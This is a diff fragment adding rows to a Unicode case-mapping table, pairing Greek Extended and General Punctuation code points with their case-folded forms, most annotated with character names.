+ ["\u1F09", "\u1F01"], /* GREEK CAPITAL LETTER ALPHA WITH DASIA */
+ ["\u1F0A", "\u1F02"], /* GREEK CAPITAL LETTER ALPHA WITH PSILI AND VARIA */
+ ["\u1F0B", "\u1F03"], /* GREEK CAPITAL LETTER ALPHA WITH DASIA AND VARIA */
+ ["\u1F0C", "\u1F04"], /* GREEK CAPITAL LETTER ALPHA WITH PSILI AND OXIA */
+ ["\u1F0D", "\u1F05"], /* GREEK CAPITAL LETTER ALPHA WITH DASIA AND OXIA */
+ ["\u1F0E", "\u1F06"], /* GREEK CAPITAL LETTER ALPHA WITH PSILI AND PERISPOMENI */
+ ["\u1F0F", "\u1F07"], /* GREEK CAPITAL LETTER ALPHA WITH DASIA AND PERISPOMENI */
+ ["\u1F18", "\u1F10"], /* GREEK SMALL LETTER EPSILON WITH PSILI */
+ ["\u1F19", "\u1F11"], /* GREEK SMALL LETTER EPSILON WITH DASIA */
+ ["\u1F1A", "\u1F12"], /* GREEK SMALL LETTER EPSILON WITH PSILI AND VARIA */
+ ["\u1F1B", "\u1F13"], /* GREEK SMALL LETTER EPSILON WITH DASIA AND VARIA */
+ ["\u1F1C", "\u1F14"], /* GREEK SMALL LETTER EPSILON WITH PSILI AND OXIA */
+ ["\u1F1D", "\u1F15"], /* GREEK SMALL LETTER EPSILON WITH DASIA AND OXIA */
+ ["\u1F16", "\u1F16"],
+ ["\u1F17", "\u1F17"],
+ ["\u1F18", "\u1F10"], /* GREEK CAPITAL LETTER EPSILON WITH PSILI */
+ ["\u1F19", "\u1F11"], /* GREEK CAPITAL LETTER EPSILON WITH DASIA */
+ ["\u1F1A", "\u1F12"], /* GREEK CAPITAL LETTER EPSILON WITH PSILI AND VARIA */
+ ["\u1F1B", "\u1F13"], /* GREEK CAPITAL LETTER EPSILON WITH DASIA AND VARIA */
+ ["\u1F1C", "\u1F14"], /* GREEK CAPITAL LETTER EPSILON WITH PSILI AND OXIA */
+ ["\u1F1D", "\u1F15"], /* GREEK CAPITAL LETTER EPSILON WITH DASIA AND OXIA */
+ ["\u1F1E", "\u1F1E"],
+ ["\u1F1F", "\u1F1F"],
+ ["\u1F28", "\u1F20"], /* GREEK SMALL LETTER ETA WITH PSILI */
+ ["\u1F29", "\u1F21"], /* GREEK SMALL LETTER ETA WITH DASIA */
+ ["\u1F2A", "\u1F22"], /* GREEK SMALL LETTER ETA WITH PSILI AND VARIA */
+ ["\u1F2B", "\u1F23"], /* GREEK SMALL LETTER ETA WITH DASIA AND VARIA */
+ ["\u1F2C", "\u1F24"], /* GREEK SMALL LETTER ETA WITH PSILI AND OXIA */
+ ["\u1F2D", "\u1F25"], /* GREEK SMALL LETTER ETA WITH DASIA AND OXIA */
+ ["\u1F2E", "\u1F26"], /* GREEK SMALL LETTER ETA WITH PSILI AND PERISPOMENI */
+ ["\u1F2F", "\u1F27"], /* GREEK SMALL LETTER ETA WITH DASIA AND PERISPOMENI */
+ ["\u1F28", "\u1F20"], /* GREEK CAPITAL LETTER ETA WITH PSILI */
+ ["\u1F29", "\u1F21"], /* GREEK CAPITAL LETTER ETA WITH DASIA */
+ ["\u1F2A", "\u1F22"], /* GREEK CAPITAL LETTER ETA WITH PSILI AND VARIA */
+ ["\u1F2B", "\u1F23"], /* GREEK CAPITAL LETTER ETA WITH DASIA AND VARIA */
+ ["\u1F2C", "\u1F24"], /* GREEK CAPITAL LETTER ETA WITH PSILI AND OXIA */
+ ["\u1F2D", "\u1F25"], /* GREEK CAPITAL LETTER ETA WITH DASIA AND OXIA */
+ ["\u1F2E", "\u1F26"], /* GREEK CAPITAL LETTER ETA WITH PSILI AND PERISPOMENI */
+ ["\u1F2F", "\u1F27"], /* GREEK CAPITAL LETTER ETA WITH DASIA AND PERISPOMENI */
+ ["\u1F38", "\u1F30"], /* GREEK SMALL LETTER IOTA WITH PSILI */
+ ["\u1F39", "\u1F31"], /* GREEK SMALL LETTER IOTA WITH DASIA */
+ ["\u1F3A", "\u1F32"], /* GREEK SMALL LETTER IOTA WITH PSILI AND VARIA */
+ ["\u1F3B", "\u1F33"], /* GREEK SMALL LETTER IOTA WITH DASIA AND VARIA */
+ ["\u1F3C", "\u1F34"], /* GREEK SMALL LETTER IOTA WITH PSILI AND OXIA */
+ ["\u1F3D", "\u1F35"], /* GREEK SMALL LETTER IOTA WITH DASIA AND OXIA */
+ ["\u1F3E", "\u1F36"], /* GREEK SMALL LETTER IOTA WITH PSILI AND PERISPOMENI */
+ ["\u1F3F", "\u1F37"], /* GREEK SMALL LETTER IOTA WITH DASIA AND PERISPOMENI */
+ ["\u1F38", "\u1F30"], /* GREEK CAPITAL LETTER IOTA WITH PSILI */
+ ["\u1F39", "\u1F31"], /* GREEK CAPITAL LETTER IOTA WITH DASIA */
+ ["\u1F3A", "\u1F32"], /* GREEK CAPITAL LETTER IOTA WITH PSILI AND VARIA */
+ ["\u1F3B", "\u1F33"], /* GREEK CAPITAL LETTER IOTA WITH DASIA AND VARIA */
+ ["\u1F3C", "\u1F34"], /* GREEK CAPITAL LETTER IOTA WITH PSILI AND OXIA */
+ ["\u1F3D", "\u1F35"], /* GREEK CAPITAL LETTER IOTA WITH DASIA AND OXIA */
+ ["\u1F3E", "\u1F36"], /* GREEK CAPITAL LETTER IOTA WITH PSILI AND PERISPOMENI */
+ ["\u1F3F", "\u1F37"], /* GREEK CAPITAL LETTER IOTA WITH DASIA AND PERISPOMENI */
+ ["\u1F48", "\u1F40"], /* GREEK SMALL LETTER OMICRON WITH PSILI */
+ ["\u1F49", "\u1F41"], /* GREEK SMALL LETTER OMICRON WITH DASIA */
+ ["\u1F4A", "\u1F42"], /* GREEK SMALL LETTER OMICRON WITH PSILI AND VARIA */
+ ["\u1F4B", "\u1F43"], /* GREEK SMALL LETTER OMICRON WITH DASIA AND VARIA */
+ ["\u1F4C", "\u1F44"], /* GREEK SMALL LETTER OMICRON WITH PSILI AND OXIA */
+ ["\u1F4D", "\u1F45"], /* GREEK SMALL LETTER OMICRON WITH DASIA AND OXIA */
+ ["\u1F46", "\u1F46"],
+ ["\u1F47", "\u1F47"],
+ ["\u1F48", "\u1F40"], /* GREEK CAPITAL LETTER OMICRON WITH PSILI */
+ ["\u1F49", "\u1F41"], /* GREEK CAPITAL LETTER OMICRON WITH DASIA */
+ ["\u1F4A", "\u1F42"], /* GREEK CAPITAL LETTER OMICRON WITH PSILI AND VARIA */
+ ["\u1F4B", "\u1F43"], /* GREEK CAPITAL LETTER OMICRON WITH DASIA AND VARIA */
+ ["\u1F4C", "\u1F44"], /* GREEK CAPITAL LETTER OMICRON WITH PSILI AND OXIA */
+ ["\u1F4D", "\u1F45"], /* GREEK CAPITAL LETTER OMICRON WITH DASIA AND OXIA */
+ ["\u1F4E", "\u1F4E"],
+ ["\u1F4F", "\u1F4F"],
+ ["\u03A5\u0313", "\u1F50"], /* GREEK SMALL LETTER UPSILON WITH PSILI */
+ ["\u1F59", "\u1F51"], /* GREEK SMALL LETTER UPSILON WITH DASIA */
+ ["\u03A5\u0313\u0300", "\u1F52"], /* GREEK SMALL LETTER UPSILON WITH PSILI AND VARIA */
+ ["\u1F5B", "\u1F53"], /* GREEK SMALL LETTER UPSILON WITH DASIA AND VARIA */
+ ["\u03A5\u0313\u0301", "\u1F54"], /* GREEK SMALL LETTER UPSILON WITH PSILI AND OXIA */
+ ["\u1F5D", "\u1F55"], /* GREEK SMALL LETTER UPSILON WITH DASIA AND OXIA */
+ ["\u03A5\u0313\u0342", "\u1F56"], /* GREEK SMALL LETTER UPSILON WITH PSILI AND PERISPOMENI */
+ ["\u1F5F", "\u1F57"], /* GREEK SMALL LETTER UPSILON WITH DASIA AND PERISPOMENI */
+ ["\u1F58", "\u1F58"],
+ ["\u1F59", "\u1F51"], /* GREEK CAPITAL LETTER UPSILON WITH DASIA */
+ ["\u1F5A", "\u1F5A"],
+ ["\u1F5B", "\u1F53"], /* GREEK CAPITAL LETTER UPSILON WITH DASIA AND VARIA */
+ ["\u1F5C", "\u1F5C"],
+ ["\u1F5D", "\u1F55"], /* GREEK CAPITAL LETTER UPSILON WITH DASIA AND OXIA */
+ ["\u1F5E", "\u1F5E"],
+ ["\u1F5F", "\u1F57"], /* GREEK CAPITAL LETTER UPSILON WITH DASIA AND PERISPOMENI */
+ ["\u1F68", "\u1F60"], /* GREEK SMALL LETTER OMEGA WITH PSILI */
+ ["\u1F69", "\u1F61"], /* GREEK SMALL LETTER OMEGA WITH DASIA */
+ ["\u1F6A", "\u1F62"], /* GREEK SMALL LETTER OMEGA WITH PSILI AND VARIA */
+ ["\u1F6B", "\u1F63"], /* GREEK SMALL LETTER OMEGA WITH DASIA AND VARIA */
+ ["\u1F6C", "\u1F64"], /* GREEK SMALL LETTER OMEGA WITH PSILI AND OXIA */
+ ["\u1F6D", "\u1F65"], /* GREEK SMALL LETTER OMEGA WITH DASIA AND OXIA */
+ ["\u1F6E", "\u1F66"], /* GREEK SMALL LETTER OMEGA WITH PSILI AND PERISPOMENI */
+ ["\u1F6F", "\u1F67"], /* GREEK SMALL LETTER OMEGA WITH DASIA AND PERISPOMENI */
+ ["\u1F68", "\u1F60"], /* GREEK CAPITAL LETTER OMEGA WITH PSILI */
+ ["\u1F69", "\u1F61"], /* GREEK CAPITAL LETTER OMEGA WITH DASIA */
+ ["\u1F6A", "\u1F62"], /* GREEK CAPITAL LETTER OMEGA WITH PSILI AND VARIA */
+ ["\u1F6B", "\u1F63"], /* GREEK CAPITAL LETTER OMEGA WITH DASIA AND VARIA */
+ ["\u1F6C", "\u1F64"], /* GREEK CAPITAL LETTER OMEGA WITH PSILI AND OXIA */
+ ["\u1F6D", "\u1F65"], /* GREEK CAPITAL LETTER OMEGA WITH DASIA AND OXIA */
+ ["\u1F6E", "\u1F66"], /* GREEK CAPITAL LETTER OMEGA WITH PSILI AND PERISPOMENI */
+ ["\u1F6F", "\u1F67"], /* GREEK CAPITAL LETTER OMEGA WITH DASIA AND PERISPOMENI */
+ ["\u1FBA", "\u1F70"], /* GREEK SMALL LETTER ALPHA WITH VARIA */
+ ["\u1FBB", "\u1F71"], /* GREEK SMALL LETTER ALPHA WITH OXIA */
+ ["\u1FC8", "\u1F72"], /* GREEK SMALL LETTER EPSILON WITH VARIA */
+ ["\u1FC9", "\u1F73"], /* GREEK SMALL LETTER EPSILON WITH OXIA */
+ ["\u1FCA", "\u1F74"], /* GREEK SMALL LETTER ETA WITH VARIA */
+ ["\u1FCB", "\u1F75"], /* GREEK SMALL LETTER ETA WITH OXIA */
+ ["\u1FDA", "\u1F76"], /* GREEK SMALL LETTER IOTA WITH VARIA */
+ ["\u1FDB", "\u1F77"], /* GREEK SMALL LETTER IOTA WITH OXIA */
+ ["\u1FF8", "\u1F78"], /* GREEK SMALL LETTER OMICRON WITH VARIA */
+ ["\u1FF9", "\u1F79"], /* GREEK SMALL LETTER OMICRON WITH OXIA */
+ ["\u1FEA", "\u1F7A"], /* GREEK SMALL LETTER UPSILON WITH VARIA */
+ ["\u1FEB", "\u1F7B"], /* GREEK SMALL LETTER UPSILON WITH OXIA */
+ ["\u1FFA", "\u1F7C"], /* GREEK SMALL LETTER OMEGA WITH VARIA */
+ ["\u1FFB", "\u1F7D"], /* GREEK SMALL LETTER OMEGA WITH OXIA */
+ ["\u1F7E", "\u1F7E"],
+ ["\u1F7F", "\u1F7F"],
+ ["\u1F08\u0399", "\u1F80"], /* GREEK SMALL LETTER ALPHA WITH PSILI AND YPOGEGRAMMENI */
+ ["\u1F09\u0399", "\u1F81"], /* GREEK SMALL LETTER ALPHA WITH DASIA AND YPOGEGRAMMENI */
+ ["\u1F0A\u0399", "\u1F82"], /* GREEK SMALL LETTER ALPHA WITH PSILI AND VARIA AND YPOGEGRAMMENI */
+ ["\u1F0B\u0399", "\u1F83"], /* GREEK SMALL LETTER ALPHA WITH DASIA AND VARIA AND YPOGEGRAMMENI */
+ ["\u1F0C\u0399", "\u1F84"], /* GREEK SMALL LETTER ALPHA WITH PSILI AND OXIA AND YPOGEGRAMMENI */
+ ["\u1F0D\u0399", "\u1F85"], /* GREEK SMALL LETTER ALPHA WITH DASIA AND OXIA AND YPOGEGRAMMENI */
+ ["\u1F0E\u0399", "\u1F86"], /* GREEK SMALL LETTER ALPHA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI */
+ ["\u1F0F\u0399", "\u1F87"], /* GREEK SMALL LETTER ALPHA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI */
+ ["\u1F08\u0399", "\u1F80"], /* GREEK CAPITAL LETTER ALPHA WITH PSILI AND PROSGEGRAMMENI */
+ ["\u1F09\u0399", "\u1F81"], /* GREEK CAPITAL LETTER ALPHA WITH DASIA AND PROSGEGRAMMENI */
+ ["\u1F0A\u0399", "\u1F82"], /* GREEK CAPITAL LETTER ALPHA WITH PSILI AND VARIA AND PROSGEGRAMMENI */
+ ["\u1F0B\u0399", "\u1F83"], /* GREEK CAPITAL LETTER ALPHA WITH DASIA AND VARIA AND PROSGEGRAMMENI */
+ ["\u1F0C\u0399", "\u1F84"], /* GREEK CAPITAL LETTER ALPHA WITH PSILI AND OXIA AND PROSGEGRAMMENI */
+ ["\u1F0D\u0399", "\u1F85"], /* GREEK CAPITAL LETTER ALPHA WITH DASIA AND OXIA AND PROSGEGRAMMENI */
+ ["\u1F0E\u0399", "\u1F86"], /* GREEK CAPITAL LETTER ALPHA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI */
+ ["\u1F0F\u0399", "\u1F87"], /* GREEK CAPITAL LETTER ALPHA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI */
+ ["\u1F28\u0399", "\u1F90"], /* GREEK SMALL LETTER ETA WITH PSILI AND YPOGEGRAMMENI */
+ ["\u1F29\u0399", "\u1F91"], /* GREEK SMALL LETTER ETA WITH DASIA AND YPOGEGRAMMENI */
+ ["\u1F2A\u0399", "\u1F92"], /* GREEK SMALL LETTER ETA WITH PSILI AND VARIA AND YPOGEGRAMMENI */
+ ["\u1F2B\u0399", "\u1F93"], /* GREEK SMALL LETTER ETA WITH DASIA AND VARIA AND YPOGEGRAMMENI */
+ ["\u1F2C\u0399", "\u1F94"], /* GREEK SMALL LETTER ETA WITH PSILI AND OXIA AND YPOGEGRAMMENI */
+ ["\u1F2D\u0399", "\u1F95"], /* GREEK SMALL LETTER ETA WITH DASIA AND OXIA AND YPOGEGRAMMENI */
+ ["\u1F2E\u0399", "\u1F96"], /* GREEK SMALL LETTER ETA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI */
+ ["\u1F2F\u0399", "\u1F97"], /* GREEK SMALL LETTER ETA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI */
+ ["\u1F28\u0399", "\u1F90"], /* GREEK CAPITAL LETTER ETA WITH PSILI AND PROSGEGRAMMENI */
+ ["\u1F29\u0399", "\u1F91"], /* GREEK CAPITAL LETTER ETA WITH DASIA AND PROSGEGRAMMENI */
+ ["\u1F2A\u0399", "\u1F92"], /* GREEK CAPITAL LETTER ETA WITH PSILI AND VARIA AND PROSGEGRAMMENI */
+ ["\u1F2B\u0399", "\u1F93"], /* GREEK CAPITAL LETTER ETA WITH DASIA AND VARIA AND PROSGEGRAMMENI */
+ ["\u1F2C\u0399", "\u1F94"], /* GREEK CAPITAL LETTER ETA WITH PSILI AND OXIA AND PROSGEGRAMMENI */
+ ["\u1F2D\u0399", "\u1F95"], /* GREEK CAPITAL LETTER ETA WITH DASIA AND OXIA AND PROSGEGRAMMENI */
+ ["\u1F2E\u0399", "\u1F96"], /* GREEK CAPITAL LETTER ETA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI */
+ ["\u1F2F\u0399", "\u1F97"], /* GREEK CAPITAL LETTER ETA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI */
+ ["\u1F68\u0399", "\u1FA0"], /* GREEK SMALL LETTER OMEGA WITH PSILI AND YPOGEGRAMMENI */
+ ["\u1F69\u0399", "\u1FA1"], /* GREEK SMALL LETTER OMEGA WITH DASIA AND YPOGEGRAMMENI */
+ ["\u1F6A\u0399", "\u1FA2"], /* GREEK SMALL LETTER OMEGA WITH PSILI AND VARIA AND YPOGEGRAMMENI */
+ ["\u1F6B\u0399", "\u1FA3"], /* GREEK SMALL LETTER OMEGA WITH DASIA AND VARIA AND YPOGEGRAMMENI */
+ ["\u1F6C\u0399", "\u1FA4"], /* GREEK SMALL LETTER OMEGA WITH PSILI AND OXIA AND YPOGEGRAMMENI */
+ ["\u1F6D\u0399", "\u1FA5"], /* GREEK SMALL LETTER OMEGA WITH DASIA AND OXIA AND YPOGEGRAMMENI */
+ ["\u1F6E\u0399", "\u1FA6"], /* GREEK SMALL LETTER OMEGA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI */
+ ["\u1F6F\u0399", "\u1FA7"], /* GREEK SMALL LETTER OMEGA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI */
+ ["\u1F68\u0399", "\u1FA0"], /* GREEK CAPITAL LETTER OMEGA WITH PSILI AND PROSGEGRAMMENI */
+ ["\u1F69\u0399", "\u1FA1"], /* GREEK CAPITAL LETTER OMEGA WITH DASIA AND PROSGEGRAMMENI */
+ ["\u1F6A\u0399", "\u1FA2"], /* GREEK CAPITAL LETTER OMEGA WITH PSILI AND VARIA AND PROSGEGRAMMENI */
+ ["\u1F6B\u0399", "\u1FA3"], /* GREEK CAPITAL LETTER OMEGA WITH DASIA AND VARIA AND PROSGEGRAMMENI */
+ ["\u1F6C\u0399", "\u1FA4"], /* GREEK CAPITAL LETTER OMEGA WITH PSILI AND OXIA AND PROSGEGRAMMENI */
+ ["\u1F6D\u0399", "\u1FA5"], /* GREEK CAPITAL LETTER OMEGA WITH DASIA AND OXIA AND PROSGEGRAMMENI */
+ ["\u1F6E\u0399", "\u1FA6"], /* GREEK CAPITAL LETTER OMEGA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI */
+ ["\u1F6F\u0399", "\u1FA7"], /* GREEK CAPITAL LETTER OMEGA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI */
+ ["\u1FB8", "\u1FB0"], /* GREEK SMALL LETTER ALPHA WITH VRACHY */
+ ["\u1FB9", "\u1FB1"], /* GREEK SMALL LETTER ALPHA WITH MACRON */
+ ["\u1FBA\u0399", "\u1FB2"], /* GREEK SMALL LETTER ALPHA WITH VARIA AND YPOGEGRAMMENI */
+ ["\u0391\u0399", "\u1FB3"], /* GREEK SMALL LETTER ALPHA WITH YPOGEGRAMMENI */
+ ["\u0386\u0399", "\u1FB4"], /* GREEK SMALL LETTER ALPHA WITH OXIA AND YPOGEGRAMMENI */
+ ["\u1FB5", "\u1FB5"],
+ ["\u0391\u0342", "\u1FB6"], /* GREEK SMALL LETTER ALPHA WITH PERISPOMENI */
+ ["\u0391\u0342\u0399", "\u1FB7"], /* GREEK SMALL LETTER ALPHA WITH PERISPOMENI AND YPOGEGRAMMENI */
+ ["\u1FB8", "\u1FB0"], /* GREEK CAPITAL LETTER ALPHA WITH VRACHY */
+ ["\u1FB9", "\u1FB1"], /* GREEK CAPITAL LETTER ALPHA WITH MACRON */
+ ["\u1FBA", "\u1F70"], /* GREEK CAPITAL LETTER ALPHA WITH VARIA */
+ ["\u1FBB", "\u1F71"], /* GREEK CAPITAL LETTER ALPHA WITH OXIA */
+ ["\u0391\u0399", "\u1FB3"], /* GREEK CAPITAL LETTER ALPHA WITH PROSGEGRAMMENI */
+ ["\u1FBD", "\u1FBD"], /* GREEK KORONIS */
+ ["\u0399", "\u1FBE"], /* GREEK PROSGEGRAMMENI */
+ ["\u1FBF", "\u1FBF"], /* GREEK PSILI */
+ ["\u1FC0", "\u1FC0"], /* GREEK PERISPOMENI */
+ ["\u1FC1", "\u1FC1"], /* GREEK DIALYTIKA AND PERISPOMENI */
+ ["\u1FCA\u0399", "\u1FC2"], /* GREEK SMALL LETTER ETA WITH VARIA AND YPOGEGRAMMENI */
+ ["\u0397\u0399", "\u1FC3"], /* GREEK SMALL LETTER ETA WITH YPOGEGRAMMENI */
+ ["\u0389\u0399", "\u1FC4"], /* GREEK SMALL LETTER ETA WITH OXIA AND YPOGEGRAMMENI */
+ ["\u1FC5", "\u1FC5"],
+ ["\u0397\u0342", "\u1FC6"], /* GREEK SMALL LETTER ETA WITH PERISPOMENI */
+ ["\u0397\u0342\u0399", "\u1FC7"], /* GREEK SMALL LETTER ETA WITH PERISPOMENI AND YPOGEGRAMMENI */
+ ["\u1FC8", "\u1F72"], /* GREEK CAPITAL LETTER EPSILON WITH VARIA */
+ ["\u1FC9", "\u1F73"], /* GREEK CAPITAL LETTER EPSILON WITH OXIA */
+ ["\u1FCA", "\u1F74"], /* GREEK CAPITAL LETTER ETA WITH VARIA */
+ ["\u1FCB", "\u1F75"], /* GREEK CAPITAL LETTER ETA WITH OXIA */
+ ["\u0397\u0399", "\u1FC3"], /* GREEK CAPITAL LETTER ETA WITH PROSGEGRAMMENI */
+ ["\u1FCD", "\u1FCD"], /* GREEK PSILI AND VARIA */
+ ["\u1FCE", "\u1FCE"], /* GREEK PSILI AND OXIA */
+ ["\u1FCF", "\u1FCF"], /* GREEK PSILI AND PERISPOMENI */
+ ["\u1FD8", "\u1FD0"], /* GREEK SMALL LETTER IOTA WITH VRACHY */
+ ["\u1FD9", "\u1FD1"], /* GREEK SMALL LETTER IOTA WITH MACRON */
+ ["\u0399\u0308\u0300", "\u1FD2"], /* GREEK SMALL LETTER IOTA WITH DIALYTIKA AND VARIA */
+ ["\u0399\u0308\u0301", "\u1FD3"], /* GREEK SMALL LETTER IOTA WITH DIALYTIKA AND OXIA */
+ ["\u1FD4", "\u1FD4"],
+ ["\u1FD5", "\u1FD5"],
+ ["\u0399\u0342", "\u1FD6"], /* GREEK SMALL LETTER IOTA WITH PERISPOMENI */
+ ["\u0399\u0308\u0342", "\u1FD7"], /* GREEK SMALL LETTER IOTA WITH DIALYTIKA AND PERISPOMENI */
+ ["\u1FD8", "\u1FD0"], /* GREEK CAPITAL LETTER IOTA WITH VRACHY */
+ ["\u1FD9", "\u1FD1"], /* GREEK CAPITAL LETTER IOTA WITH MACRON */
+ ["\u1FDA", "\u1F76"], /* GREEK CAPITAL LETTER IOTA WITH VARIA */
+ ["\u1FDB", "\u1F77"], /* GREEK CAPITAL LETTER IOTA WITH OXIA */
+ ["\u1FDC", "\u1FDC"],
+ ["\u1FDD", "\u1FDD"], /* GREEK DASIA AND VARIA */
+ ["\u1FDE", "\u1FDE"], /* GREEK DASIA AND OXIA */
+ ["\u1FDF", "\u1FDF"], /* GREEK DASIA AND PERISPOMENI */
+ ["\u1FE8", "\u1FE0"], /* GREEK SMALL LETTER UPSILON WITH VRACHY */
+ ["\u1FE9", "\u1FE1"], /* GREEK SMALL LETTER UPSILON WITH MACRON */
+ ["\u03A5\u0308\u0300", "\u1FE2"], /* GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND VARIA */
+ ["\u03A5\u0308\u0301", "\u1FE3"], /* GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND OXIA */
+ ["\u03A1\u0313", "\u1FE4"], /* GREEK SMALL LETTER RHO WITH PSILI */
+ ["\u1FEC", "\u1FE5"], /* GREEK SMALL LETTER RHO WITH DASIA */
+ ["\u03A5\u0342", "\u1FE6"], /* GREEK SMALL LETTER UPSILON WITH PERISPOMENI */
+ ["\u03A5\u0308\u0342", "\u1FE7"], /* GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND PERISPOMENI */
+ ["\u1FE8", "\u1FE0"], /* GREEK CAPITAL LETTER UPSILON WITH VRACHY */
+ ["\u1FE9", "\u1FE1"], /* GREEK CAPITAL LETTER UPSILON WITH MACRON */
+ ["\u1FEA", "\u1F7A"], /* GREEK CAPITAL LETTER UPSILON WITH VARIA */
+ ["\u1FEB", "\u1F7B"], /* GREEK CAPITAL LETTER UPSILON WITH OXIA */
+ ["\u1FEC", "\u1FE5"], /* GREEK CAPITAL LETTER RHO WITH DASIA */
+ ["\u1FED", "\u1FED"], /* GREEK DIALYTIKA AND VARIA */
+ ["\u1FEE", "\u1FEE"], /* GREEK DIALYTIKA AND OXIA */
+ ["\u1FEF", "\u1FEF"], /* GREEK VARIA */
+ ["\u1FF0", "\u1FF0"],
+ ["\u1FF1", "\u1FF1"],
+ ["\u1FFA\u0399", "\u1FF2"], /* GREEK SMALL LETTER OMEGA WITH VARIA AND YPOGEGRAMMENI */
+ ["\u03A9\u0399", "\u1FF3"], /* GREEK SMALL LETTER OMEGA WITH YPOGEGRAMMENI */
+ ["\u038F\u0399", "\u1FF4"], /* GREEK SMALL LETTER OMEGA WITH OXIA AND YPOGEGRAMMENI */
+ ["\u1FF5", "\u1FF5"],
+ ["\u03A9\u0342", "\u1FF6"], /* GREEK SMALL LETTER OMEGA WITH PERISPOMENI */
+ ["\u03A9\u0342\u0399", "\u1FF7"], /* GREEK SMALL LETTER OMEGA WITH PERISPOMENI AND YPOGEGRAMMENI */
+ ["\u1FF8", "\u1F78"], /* GREEK CAPITAL LETTER OMICRON WITH VARIA */
+ ["\u1FF9", "\u1F79"], /* GREEK CAPITAL LETTER OMICRON WITH OXIA */
+ ["\u1FFA", "\u1F7C"], /* GREEK CAPITAL LETTER OMEGA WITH VARIA */
+ ["\u1FFB", "\u1F7D"], /* GREEK CAPITAL LETTER OMEGA WITH OXIA */
+ ["\u03A9\u0399", "\u1FF3"], /* GREEK CAPITAL LETTER OMEGA WITH PROSGEGRAMMENI */
+ ["\u1FFD", "\u1FFD"], /* GREEK OXIA */
+ ["\u1FFE", "\u1FFE"], /* GREEK DASIA */
+ ["\u1FFF", "\u1FFF"],
+ ["\u2000", "\u2000"], /* EN QUAD */
+ ["\u2001", "\u2001"], /* EM QUAD */
+ ["\u2002", "\u2002"], /* EN SPACE */
+ ["\u2003", "\u2003"], /* EM SPACE */
+ ["\u2004", "\u2004"], /* THREE-PER-EM SPACE */
+ ["\u2005", "\u2005"], /* FOUR-PER-EM SPACE */
+ ["\u2006", "\u2006"], /* SIX-PER-EM SPACE */
+ ["\u2007", "\u2007"], /* FIGURE SPACE */
+ ["\u2008", "\u2008"], /* PUNCTUATION SPACE */
+ ["\u2009", "\u2009"], /* THIN SPACE */
+ ["\u200A", "\u200A"], /* HAIR SPACE */
+ ["\u200B", "\u200B"], /* ZERO WIDTH SPACE */
+ ["\u200C", "\u200C"], /* ZERO WIDTH NON-JOINER */
+ ["\u200D", "\u200D"], /* ZERO WIDTH JOINER */
+ ["\u200E", "\u200E"], /* LEFT-TO-RIGHT MARK */
+ ["\u200F", "\u200F"], /* RIGHT-TO-LEFT MARK */
+ ["\u2010", "\u2010"], /* HYPHEN */
+ ["\u2011", "\u2011"], /* NON-BREAKING HYPHEN */
+ ["\u2012", "\u2012"], /* FIGURE DASH */
+ ["\u2013", "\u2013"], /* EN DASH */
+ ["\u2014", "\u2014"], /* EM DASH */
+ ["\u2015", "\u2015"], /* HORIZONTAL BAR (QUOTATION DASH) */
+ ["\u2016", "\u2016"], /* DOUBLE VERTICAL LINE (DOUBLE VERTICAL BAR) */
+ ["\u2017", "\u2017"], /* DOUBLE LOW LINE (SPACING DOUBLE UNDERSCORE) */
+ ["\u2018", "\u2018"], /* LEFT SINGLE QUOTATION MARK (SINGLE TURNED COMMA QUOTATION MARK) */
+ ["\u2019", "\u2019"], /* RIGHT SINGLE QUOTATION MARK (SINGLE COMMA QUOTATION MARK) */
+ ["\u201A", "\u201A"], /* SINGLE LOW-9 QUOTATION MARK (LOW SINGLE COMMA QUOTATION MARK) */
+ ["\u201B", "\u201B"], /* SINGLE HIGH-REVERSED-9 QUOTATION MARK (SINGLE REVERSED COMMA QUOTATION MARK) */
+ ["\u201C", "\u201C"], /* LEFT DOUBLE QUOTATION MARK (DOUBLE TURNED COMMA QUOTATION MARK) */
+ ["\u201D", "\u201D"], /* RIGHT DOUBLE QUOTATION MARK (DOUBLE COMMA QUOTATION MARK) */
+ ["\u201E", "\u201E"], /* DOUBLE LOW-9 QUOTATION MARK (LOW DOUBLE COMMA QUOTATION MARK) */
+ ["\u201F", "\u201F"], /* DOUBLE HIGH-REVERSED-9 QUOTATION MARK (DOUBLE REVERSED COMMA QUOTATION MARK) */
+ ["\u2020", "\u2020"], /* DAGGER */
+ ["\u2021", "\u2021"], /* DOUBLE DAGGER */
+ ["\u2022", "\u2022"], /* BULLET */
+ ["\u2023", "\u2023"], /* TRIANGULAR BULLET */
+ ["\u2024", "\u2024"], /* ONE DOT LEADER */
+ ["\u2025", "\u2025"], /* TWO DOT LEADER */
+ ["\u2026", "\u2026"], /* HORIZONTAL ELLIPSIS */
+ ["\u2027", "\u2027"], /* HYPHENATION POINT */
+ ["\u2028", "\u2028"], /* LINE SEPARATOR */
+ ["\u2029", "\u2029"], /* PARAGRAPH SEPARATOR */
+ ["\u202A", "\u202A"], /* LEFT-TO-RIGHT EMBEDDING */
+ ["\u202B", "\u202B"], /* RIGHT-TO-LEFT EMBEDDING */
+ ["\u202C", "\u202C"], /* POP DIRECTIONAL FORMATTING */
+ ["\u202D", "\u202D"], /* LEFT-TO-RIGHT OVERRIDE */
+ ["\u202E", "\u202E"], /* RIGHT-TO-LEFT OVERRIDE */
+ ["\u202F", "\u202F"], /* NARROW NO-BREAK SPACE */
+ ["\u2030", "\u2030"], /* PER MILLE SIGN */
+ ["\u2031", "\u2031"], /* PER TEN THOUSAND SIGN */
+ ["\u2032", "\u2032"], /* PRIME */
+ ["\u2033", "\u2033"], /* DOUBLE PRIME */
+ ["\u2034", "\u2034"], /* TRIPLE PRIME */
+ ["\u2035", "\u2035"], /* REVERSED PRIME */
